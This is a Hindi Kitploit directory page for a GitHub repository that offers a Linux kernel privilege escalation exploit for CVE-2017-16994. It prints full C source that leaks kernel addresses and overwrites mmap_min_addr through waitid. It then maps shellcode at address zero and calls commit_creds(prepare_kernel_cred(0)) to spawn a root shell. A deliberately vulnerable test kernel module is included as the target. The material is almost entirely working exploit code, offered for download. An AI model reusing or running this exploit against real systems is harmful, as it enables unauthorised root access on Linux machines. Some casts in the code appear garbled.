Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2017-16994 — लिनक्स कर्नेल स्थानीय विशेषाधिकार वृद्धि शोषण CVE-2017-16994 के लिए, जो null pointer dereference और mmap_min_addr बाईपास का लाभ उठाकर रूट शेल प्राप्त करता है। | Kitploit
उपकरण/GitHubGitHub/jedai47/cve-2017-16994
विशेषाधिकार वृद्धिमेमोरी फोरेंसिकशोषणशेलकोडबाइनरी शोषण
GitHubjedai47/cve-2017-16994

CVE-2017-16994

लिनक्स कर्नेल स्थानीय विशेषाधिकार वृद्धि शोषण CVE-2017-16994 के लिए, जो null pointer dereference और mmap_min_addr बाईपास का लाभ उठाकर रूट शेल प्राप्त करता है।

रिपॉजिटरी देखें
22 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

/** disable_map_min_add.c */ / * */

#include <stdio.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include <stdlib.h> #include <sys/resource.h> #include <syscall.h>

/* ऑफसेट अलग हो सकते हैं, कर्नेल को कस्टम कंपाइल किया गया था

  • परीक्षण करते समय आप vmlinux पढ़ सकते हैं और ऑफसेट की गणना कर सकते हैं */

/* #define OFFSET_KERNEL_BASE 0x000000 */ #define MMAP_MIN_ADDR 0x1101de8 #define DAC_MMAP_MIN_ADDR 0xe8e810

/* /proc/kallsyms पढ़कर कर्नेल फंक्शन का पता प्राप्त करें */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret = 0;

f = fopen("/proc/kallsyms", "r"); if (f == NULL) { printf("[-] /proc/kallsyms खोलने में विफल\n"); exit(-1); } printf("[+] %s ढूंढ रहे हैं...\n", name); while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); printf("[+] %s %lx पर मिला\n", name, addr); return addr; } } fclose(f); return 0; }

int main(void) { int pid, pid2, pid3; struct rusage rusage = { }; unsigned long *p, *kernel_base; char *mmap_min_addr, dac_mmap_min_addr; pid = fork(); if (pid > 0) { / जब /proc/kallsyms पढ़ने योग्य न हो तो kaslr को बायपास करने का प्रयास करें */ syscall(__NR_waitid, P_PID, pid, NULL, WEXITED|WNOHANG|__WNOTHREAD, &rusage); printf("[+] लीक आकार=%d बाइट्स\n", sizeof(rusage)); for (p = (unsigned long *)&rusage; p < (unsigned long *)((char *)&rusage + sizeof(rusage)); p++) { printf("[+] लीक बिंदु: %p\n", p); if (*p > 0xffffffff00000000 && *p < 0xffffffffff000000) { p = (unsigned long )(p&0xffffffffff000000 /+ OFFSET_TO_BASE/); // जब KASLR सक्षम होता है तो spender का वास्तव में काम नहीं करेगा break; } } if(p < (unsigned long *)0xffffffff00000000 || p > (unsigned long *)0xffffffffff000000) exit(-1); } else if (pid == 0) { sleep(1); exit(0); }

kernel_base = get_kernel_sym("startup_64"); printf("[+] कर्नेल बेस प्राप्त: %p\n", kernel_base); mmap_min_addr = (char *)kernel_base + MMAP_MIN_ADDR; printf("[+] mmap_min_addr प्राप्त: %p\n", mmap_min_addr); dac_mmap_min_addr = (char *)kernel_base + DAC_MMAP_MIN_ADDR; printf("[+] dac_mmap_min_addr प्राप्त: %p\n", dac_mmap_min_addr);

pid2 = fork(); if (pid2 > 0) { printf("[+] map_min_addr को ओवरराइट किया जा रहा है...\n"); if (syscall(__NR_waitid, P_PID, pid, (siginfo_t *)(mmap_min_addr - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) { printf("[-] विफल!\n"); exit(1); } } else if (pid2 == 0) { sleep(1); exit(0); }

pid3 = fork(); if (pid3 > 0) { printf("[+] dac_mmap_min_addr को ओवरराइट किया जा रहा है...\n"); if (syscall(__NR_waitid, P_PID, pid, (siginfo_t )(dac_mmap_min_addr - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) { printf("[-] विफल!\n"); exit(1); } printf("[+] map_min_addr अक्षम कर दिया!\n"); exit(0); } else if (pid3 == 0) { sleep(1); exit(0); } return 0; } /* disable_map_min_add.c समाप्त **/

/** null_poiter_exploit.c **/

#define _GNU_SOURCE

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/mman.h> #include <string.h> #include <unistd.h> #include <unistd.h> #include <fcntl.h>

struct cred; struct task_struct;

typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) attribute((regparm(3))); typedef int (*commit_creds_t) (struct cred *new) attribute((regparm(3)));

prepare_kernel_cred_t prepare_kernel_cred; commit_creds_t commit_creds;

/* कर्नेल शून्य पॉइंटर डीरेफरेंस विशेषाधिकार प्राप्त करने में मदद करेगा

  • /proc/test परीक्षण के लिए बनाया गया कर्नेल-लोड मॉड्यूल है

  • touch_null_kp को अपने स्वयं के कार्यान्वयन से बदला जा सकता है ताकि

  • कर्नेल शून्य बिंदु को स्पर्श किया जा सके */ void touch_null_kp() { printf("[+] कर्नेल शून्य बिंदु को स्पर्श करना शुरू\n");

    int *f = open("/proc/test", O_RDONLY); read(f, NULL, 0); }

/* रूट के बाद शेल चलाएं */ void get_shell() { char *argv[] = {"/bin/sh", NULL};

if (getuid() == 0){ printf("[+] रूट शेल सफल !! :)\n"); execve("/bin/sh", argv, NULL); } printf("[-] रूट शेल प्राप्त करने में विफल :(\n"); }

/* विशेषाधिकार वृद्धि के लिए उपयोग */ void get_root() { commit_creds(prepare_kernel_cred(0)); }

/* /proc/kallsyms पढ़कर फंक्शन का पता प्राप्त करें */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret = 0;

f = fopen("/proc/kallsyms", "r"); if (f == NULL) { printf("[-] /proc/kallsyms खोलने में विफल\n"); exit(-1); } printf("[+] %s ढूंढ रहे हैं...\n", name); while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); printf("[+] %s %lx पर मिला\n", name, addr); return addr; } } fclose(f); return 0; }

int main(int ac, char **av) {

/* फंक्शन का पता प्राप्त करें */ prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred"); commit_creds = (commit_creds_t)get_kernel_sym("commit_creds"); printf("commit_creds प्राप्त: %p, prepare_kernel_cred: %p\n", commit_creds, prepare_kernel_cred);

/* 0x00 पर मेमोरी आवंटित करें */ printf("[+] 0x00000000 आवंटित करने का प्रयास...\n"); if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char )-1){ printf("[-] 0x00000000 आवंटित करने में विफल\n"); return -1; } printf("[+] आवंटन सफल!\n"); / memset(0, 0xcc, 4096); / / //movq rax, 0xffffffff81f3f45a //movq [rax], 0 // यह आवश्यक नहीं है mov rax, 0x4242424242424242 call rax xor rax, rax ret 0x4242424242424242 को get_root से बदलें https://defuse.ca/online-x86-assembler.htm#disassembly */

unsigned char shellcode[] = { /*0x48, 0xC7, 0xC0, 0x5A, 0xF4, 0xF3, 0x81, //0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00,/ 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x48, 0x31, 0xC0, 0xC3 }; / getroot पता shellcode में डालें */ void **get_root_offset = rawmemchr(shellcode, 0x42); (get_root_offset) = get_root; / shellcode को 0x00 पर मैप करें */ memcpy(0, shellcode, sizeof(shellcode));

/* 0x00 पर जाएं */ touch_null_kp();

get_shell();

}

/** null_poiter_exploit.c समाप्त **/

/** test.c **/ #include <linux/init.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/uaccess.h> #include <linux/slab.h> #include <asm/ptrace.h> #include <asm/thread_info.h>

#define MY_DEV_NAME "test" #define DEBUG_FLAG "PROC_DEV"

extern unsigned long proc_test_sp_print; static ssize_t proc_read (struct file *proc_file, char __user *proc_user, size_t n, loff_t *loff); static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff); static int proc_open (struct inode *proc_inode, struct file *proc_file); static struct file_operations a = { .open = proc_open, .read = proc_read, .write = proc_write, };

static int __init mod_init(void) { struct proc_dir_entry *test_entry; const struct file_operations *proc_fops = &a; printk(DEBUG_FLAG":proc init start\n");

root@kitploit:~
test_entry = proc_create(MY_DEV_NAME, S_IRUGO|S_IWUGO, NULL, proc_fops);
if(!test_entry)
   printk(DEBUG_FLAG":कुछ गलत है!\n");

printk(DEBUG_FLAG":proc init समाप्त!\n");
return 0;

}

static ssize_t proc_read (struct file *proc_file, char *proc_user, size_t n, loff_t *loff) { void (*fun)(void); fun = NULL; //printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack); fun(); //printk("The memory of %p : %d\n", proc_user, *proc_user); return 0; }

static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff) { printk("%s:%p पर थ्रेड स्प0, %p:%p पर टास्क स्टैक\n", "PROC", current->thread.sp0, current->stack); return 0; }

int proc_open (struct inode *proc_inode, struct file *proc_file) { printk(DEBUG_FLAG":खोलने में, cmdline:%s!\n", current->comm); printk("%s:%p पर थ्रेड स्प0, %p:%p पर टास्क स्टैक\n", "PROC", current->thread.sp0, current->stack); return 0; }

module_init(mod_init); /** test.c समाप्त **/

टूल डाउनलोड करें